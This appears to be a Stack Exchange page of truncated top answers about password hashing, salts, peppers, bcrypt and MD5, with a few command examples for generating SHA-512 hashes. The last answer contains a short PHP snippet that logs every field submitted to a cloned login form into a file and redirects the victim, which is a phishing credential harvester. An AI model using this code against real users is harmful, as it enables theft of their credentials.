Hot answers tagged

175

Not storing the salt is bad advice. The main purpose of a salt is that each user password has to be attacked individually. If you do not store the salt then, as you said, you need to try every single salt combination in order to validate the password. If you need to check every single salt combination, this means that the salt cannot be too long (you ...


121

A 'secret' salt is known as a pepper. From Wikipedia: A pepper can be added to a password in addition to a salt value. A pepper performs a similar role to a salt, however whereas a salt is commonly stored alongside the value being hashed, for something to be defined as a pepper, it should meet one of the following criteria that define it a more ...


20

Background: You should be using a Slow Password Hash. (i.e. bcrypt) By 'slow' I mean computationally expensive, taking more than 100ms (on your hardware) with DoS protection * to test a single password. This is to increase the processing power needed (on attacker hardware) to find the password by brute force, should the hash be stolen. Per-user unique salt ...


19

And it is longer than the input string, with 288bit instead of 256bit. So did we actually increased the entropy? No, you did not increase the entropy. In this context, "entropy" basically refers to the probability of any particular guess about the content or value being correct. If I tell you that I have hashed a single lowercase US English letter's ...


16

Your professor isn't correct. The point of a salt is to increase the entropy of the hashed passwords to prevent any sort of pre-computation attack on them as well as preventing the same password from different users from having the same hashed value. Being able to try all possible salt values means that you must have a very LOW amount of entropy in the ...


9

It's not MD5 (which is a message digest algorithm, not an encryption algorithm), and it's not even base 64. It's just ASCII encoded as hex. It contains http://imgur.com/EUJCsGB which is a link to an image of a bird. The image was uploaded by someone named MD5, that's as close as it gets.


7

Not really. Hashing algorithms and Key derivation functions (side note: bcrypt is a KDF, not hash) works on bytes, not characters. This means instead of working on Unicode, it sees instead the utf-8 encoded bytes (or whatever encoding you use). So the hash/KDF itself wouldn't have any problems processing Unicode passwords. However, Unicode had many ...


5

If you're using a constant salt, then it's not bcrypt: An important requirement of any bcrypt implementation is that it exploit the full 128-bit salt space. — A Future-Adaptable Password Scheme Because bcrypt generates a different salt every time, the hash is always different meaning I can no longer use the generated hash to identify the user's ...


5

Disclaimar: Please note that this answer was written before more details were added to the question. Some points therefore no longer applies, while others still do. Problems with your approach [...] of the password they used to encrypt the data. Are you using passwords as encryption keys? That is not a good idea, since passwords picked by users have ...


5

No, the method you have provided is considered to be security through obscurity or the belief that a system of any sort can be secure so long as nobody outside of its implementation group is allowed to find out anything about its internal mechanisms. and generally considered to be a bad idea.


4

I think you've misunderstood the purpose of a salt, because if you understood what it is designed to achieve you perhaps wouldn't be asking this question. The only purpose is to provide a level of uniqueness to each password in order to prevent precomputed tables ("rainbow tables") being an effective form of attack. As a result, it's not designed to be "...


3

Sufficiently long passwords generated by a secure random number generator hashed by an algorithm with long output (at least 128 bit) and no known weakness (at least SHA256) will become infeasible to bruteforce (either against a single hash or compute a useful rainbow table) and salting will not be necessary. Your description of your implementation doesn't ...


3

Such strong passwords can be safely stored unsalted with a fast algorithm like SHA256, there is no problem in that. The problems are different, you have to trust the client, the secure transportation to the server, and you have to make sure that the generated passwords are indeed unpredictable.


3

You could use the salt in this way. It would be a sort of hash-stretching process. Typically you stretch a hash by repeating the algorithm several thousand times, which slows attackers and users by 1000fold, but users typically don't mind the slowdown. Using a salt in this way would have the effect of doing a hash stretching algorithm by having to repeat ...


3

BCrypt won't work with a NUL byte because it is reserved for its own internal use (I think to keep track of the end of the password or something). Other than that what BCrypt really does is hash an array of bytes, not characters. From its point of view, its just blending up numbers and whether those numbers correlate to a presentable string in one character ...


3

When an attacker knows only the hash and not the salt, then they have to not just test every possible password but every possible password with every possible salt. With long and random salt values this is practically impossible. However, this is not a realistic scenario. When an attacker compromises a system, you have to assume that they compromised the ...


2

You do not need to process the DIT file to aquire hashes from AD or AD LDS, there is some protocol access as well. Even though a regular LDAP-reads on "userpassword" Attribute (as you can do on other directory products) will always be blocked completely in AD, there is another official way to read hashes from AD or AD LDS and its officially been there since ...


2

One of the biggest issues that you face is not the algorithms you choose, but how you implement using them. There are many good algorithms for various purposes, and virtually any of them, improperly applied, can result in a disastrously broken cryptosystem. This is one of the reasons people offer advice like "use libsodium" because libraries like ...


2

There are a couple of open source methods for creating sha512 hashes. There is a mkpassword libary as mentioned in this article for Linux: mkpasswd -m sha-512 -S saltsalt -s <<< YourPass Using Python and the crypt library as stated in another post: python -c 'import crypt; print crypt.crypt("test", "$6$random_salt")


2

No, it is not possible to reverse MD5. MD5 is just like adding the digits of a large number until you get a single digit. Example: 1982735 --> summing the digits will make 35, summing those will make 8. There is no way to determine the initial 1982735 only having the '8'. Of course, MD5 is complex enough to generate a lot of unique results, but the ...


2

MD5 is a cryptographic hashing function, which by definition means that it is only computed in one direction and it is not possible to "reverse" it back to its original form. In the case where two values are added or concatenated together and then hashed it would be impossible to derive the original factors -you can only obtain the full value of whatever was ...


2

You shouldn't use either! Using a constant salt defeats the purpose of using bcrypt. Use a variable salt! Just like SHA1, it's easily cracked. It's like asking - what's more secure, a wooden box or a thermite-proof triple-reinforced steel box with a wooden door? Excellent explanation by Tom Scott. IMHO your code is probably vulnerable to SQL injection ...


2

A salt is a stored next to the password. There is no rule that says it MUST be like that, but it is a logical result of the intended purpose of a salt. Building a rainbow table is no trivial task. The point of the salt is that the attacker would need a separate rainbow table for each salted password (in which case it is easier to directly attack each ...


2

As others have explained, 'bits of entropy' refers to to the guess-ability of the original Password or other text that was first used to create the SHA-256 hash. In your example case the entropy is unchanged. What you've done here is provide an SHA-1 version and an MD5 version of the SHA-256. This makes the SHA-256 more guessable than other solutions you ...


2

Rather than thinking of salt in terms of brute-forcing, I like to think of it in terms of saying that it makes it impossible to tell anything about a password, including its relationship with other passwords, by looking at it. If the system uses no salting, looking at two users' hashed passwords would indicate whether their real passwords matched. If a ...


2

You are certainly not adding entropy. You still only will have at most 256bit entropy possible outputs of this schema, no matter how many times and how you rehash this. Note that you will have at most 256 bit entropy, because you did not told us about how much entropy is in your input. SHa256 will also not give you 256bit entropy if you have less than that ...


2

George has a good answer with some great information regarding this, however one thing you need to think about with all of this is your user experience, and attack theater. If it's on someone's phone, who would be the one to get that data? Local: A person with physical access to that device. With physical access to the device they can wait to watch the ...


2

Learn to use Google. Google the Hash at first, small result it'll show up but you never know. As second, there are tons of Hash-identifiers, the best and most used one names Hash-ID. It's a tool. Quick alternatives are online as well: http://www.onlinehashcrack.com/hash-identification.php It's probably SHA-1.


1

What does salting give you? Attackers have pre-calculated databases of hash values for passwords, common and not. If they capture your database and have the hash of the passwords for every user, it's simple to check their hashes against those values without a salt. With a random salt that is stored along with the password, this insanely quick method is no ...


1

If you're using the option I'm thinking of, your cloned form is POSTing to post.php. You could edit that script in order to make it do what you want. <?php $file = 'harvester_sdfskksdks.txt'; file_put_contents($file, print_r($_POST, true), FILE_APPEND); ?> <meta http-equiv="refresh" content="0; url=http://0.0.0.0:8000/index.html" /> Instead ...



Only top voted, non community-wiki answers of a minimum length are eligible